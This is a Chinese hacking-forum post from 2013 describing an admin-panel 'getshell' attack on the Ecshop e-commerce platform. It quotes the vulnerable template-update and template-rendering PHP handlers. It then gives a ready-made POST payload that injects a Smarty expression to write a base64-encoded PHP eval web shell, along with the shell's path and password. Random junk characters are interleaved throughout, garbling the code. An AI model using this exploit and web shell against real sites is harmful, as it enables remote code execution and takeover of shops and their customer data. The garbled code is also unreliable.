找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2426|回复: 0
打印 上一主题 下一主题

Ecshop后台getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-11 21:33:56 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板. ^% K1 B% q  `! X4 p
1 M6 I, F/ E: X& A, V7 p
而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了
: B$ Z0 ^, v" y# _' v2 p但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
1 L. S; a& S7 {admin/template.php5 W% v5 L8 `, A: J2 }9 p# @

2 B9 G- r- l4 D9 @1 if ($_REQUEST['act'] == 'update_library')
% @5 H5 k# c8 g6 o" X. M5 a7 _* P9 Q. S4 R) j
2   
" _  [; e# i9 H9 i/ i0 {1 S
5 m- u" \" M0 C; ]3 {
0 n3 o0 u4 H/ r( r8 O4 u; @3 }/ p! }4 T
4     check_authz_json('library_manage'); ' V; e- b4 d1 v# B: |: _
$ w1 D+ V" F2 y6 q
5   & f' z" p: {$ }: @

' b0 ~0 n4 C6 }1 N. P8 S6 H6     $html = stripslashes(json_str_iconv($_POST['html'])); 3 w+ U) ~- N- _3 h
& l) \5 W4 [8 |
7   / l# z$ `$ l$ H% t/ H

, g/ E: m! s" ^3 A# G! k8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件 & |+ T8 ]( F) T
! I3 ~( a$ L& \# Q7 S5 F
9   ; L, o3 H7 b& [$ u$ Q* {* y0 H* F
! y  I1 X3 f' F/ {. q7 {
10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符
5 ?/ W0 J" J" V. \2 _$ ^1 u' i7 W+ N6 m0 G' U% g9 z8 k
11   
' h' V+ Z! L0 b9 f# W* ^- c; n3 p( i# z, a$ `% `9 `
12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file)); ; W' c0 `% ^# p  w% m( u

3 v' L# E2 ^/ x9 b( v) J  c13   
/ W2 ]) V" H8 E( T8 m, I  ?
4 {/ R- f6 ]3 j# x* L14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出
* [$ R3 C0 j; J3 V' Y( ?$ _) D% Q0 S
( Y+ a; E4 i0 U3 k15     {
- Q( @; t7 v# T3 H; ?, i6 M# N, h, G: ^( r
16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html); ) p1 d! s5 u+ ~( {# F$ ]. a
& t5 R  n; ~, D0 n! h8 z! C
17         make_json_result('', $_LANG['update_lib_success']);
4 L. t# _& a0 Y
9 P3 C* T+ D! I18     }
$ n# Z! h+ b, G1 y! ?
. E5 p. U6 Z. U/ ~19     else
7 r7 d, T  m$ l6 Q
7 C4 a" d6 H! L: J( d6 N' k20     {
" o& l5 i4 Q  b. K; A( b; W; O! O
0 c! l2 v# Y# A2 w) n21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));
8 Q7 b- {/ ^' x# D
* t$ T% U( m* e22     } 0 a* W# t, @3 ~9 {0 G
5 W( r& z$ w0 o1 C4 n! Q, g0 J
23 } : C& `, A1 {- n6 ]
# M" }. |/ C3 G+ L
那么找个比较方便调用了模板的文件
0 H) H) S9 S- T( tindex.php
. y  b6 s8 E7 p" U) d! p  [7 M5 W/ T7 \9 D4 @# Q  j
1 if ($act == 'cat_rec') & g7 f6 G* V& K% z

& i* B: l# C5 m/ |( I3 X+ K7 d2   ; |% h, p* e7 H
* G4 |% n. ~, s& G
3 {
& R- v; t5 [8 |9 B# S& F" E* G+ f2 T3 X( d; I
4   . w+ S  h6 C9 `9 p1 O  J- q

! C- h, d5 F  w; }" h5 w1 b" X5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot'); ; w. S, p( @0 p" `( r" {

! [& v* G, W% r* S  y! o3 I9 F7 w$ a6   ! G1 b% ^! K8 |: L4 |5 w2 O

$ H5 S8 R2 M; |. [" Y' @( S# q7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';
- h( }2 [5 ^2 R. ?% @$ }$ O) N9 G2 S- n, Z4 v7 d
8     p4 g" Z' [# U5 N
7 n& ]3 g5 Y( T$ s
9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0'; 4 M6 U3 p! ]9 u% Q* B! U  n' ^
: v( ^- P) g( P+ \2 F
10   1 Q8 B8 a% ^$ m9 k

. ~7 ?0 R. A: X1 c; U# c11     include_once('includes/cls_json.php');
& n  L% o7 m8 ^. a. x; |3 f" ?4 Q# y, N+ X6 }2 g
12   7 M) _/ a2 @9 F5 P" W' v: F
, F: m3 y+ y9 G$ c6 j
13     $json = new JSON; - Y3 n6 G1 H( I5 u/ o) e
& P9 L- h2 @2 \+ t
14   
, R0 s0 t% [! ?3 }1 o& x, S9 t8 D( ~: |7 ^/ U
15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);
9 s+ O* Z9 P) M0 o
& a9 W% ?3 \; T7 C% f, \2 T16   
6 Q; L3 ?# x3 N7 q
( A; G2 B; E. c% h17     $children = get_children($cat_id);
/ C; Q! L) h. g. x# H7 g# A; d4 D( H- f5 V2 z; H. d$ d
18   
3 I4 r2 B/ |$ h0 T0 l2 T2 o3 H6 {% ]  r/ }9 D
19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品 5 P1 A. P/ ^( P8 P) ?( I

; s* S% Y$ w; \3 z5 c& v' l0 Y20   9 E" d. k' S% H8 l$ Y' s/ c
2 s: H7 V9 V+ ?+ x; W& F4 f
21     $smarty->assign('cat_rec_sign', 1); 4 F. G; F/ I. t3 D# [' Z
) V: d) T+ |; `7 L! _0 [/ x4 t
22   
+ ^3 w- }$ y& z$ P1 O5 u. w2 ~6 J7 y$ h) Q; q% e0 _
23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best
* T- `! u/ D( u' T: j1 t7 K4 }  ^- ~1 P. Q' X/ K; H0 c7 Y. K
24   # K: }0 Q' O' _1 A

6 Y1 d2 {, y+ \/ r5 ?& [: ]25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi'; 7 V/ i: p, h, H( H! R5 i
' h  g* |% j. G
26   
! S0 d* S4 G* D5 o0 i1 \! R4 Q9 ^
6 M9 @! N9 m3 g1 D' ^$ F: I3 C27         echo $rec_array[$rec_type];
/ {$ ~  d5 j; z3 {. v  _
! i% z8 Q; q% x- Q: p% v: {28   ! j+ O0 K, m5 v" k9 p% |1 [! y
/ C; G$ l! F/ U. K: i" }
29     die($json->encode($result));
0 Y: _3 v$ Y4 }- y
& @. D& b# x+ Y  m4 S6 z30   9 w  `! D% f2 ?  z7 ^7 p& o
: C# r5 ~. T6 R! {' ^
31 } 9 s, K+ h% a1 W+ o

0 a# |# U# }- [4 y7 ~那么就有利用方法了
* }9 H9 S4 J, R* B: dpost包到http://localhost/ec/admin/template.php?act=update_library5 f2 [$ b4 H( v% F+ ]! `
Post内容:  T( s" g# w# X* i4 j
% X; A2 L' b2 K1 v$ ]
) ]6 d$ K* x6 g, S7 b) T
1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}
8 m  e5 q+ b1 N" v' W  Z5 D! J1 d
$ i* a0 I4 g" V9 w然后访问http://localhost/ec/index.php?act=cat_rec3 h! j' y! F+ ?, C
# B+ u. i$ c& E$ B7 P8 \
shel地址:http://localhost/ec/demo.php7 q. w3 o, i9 U  W5 k7 m
密码c& V: @, ]: _5 e' q

. U  b# P& l5 S' o3 S/ |
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表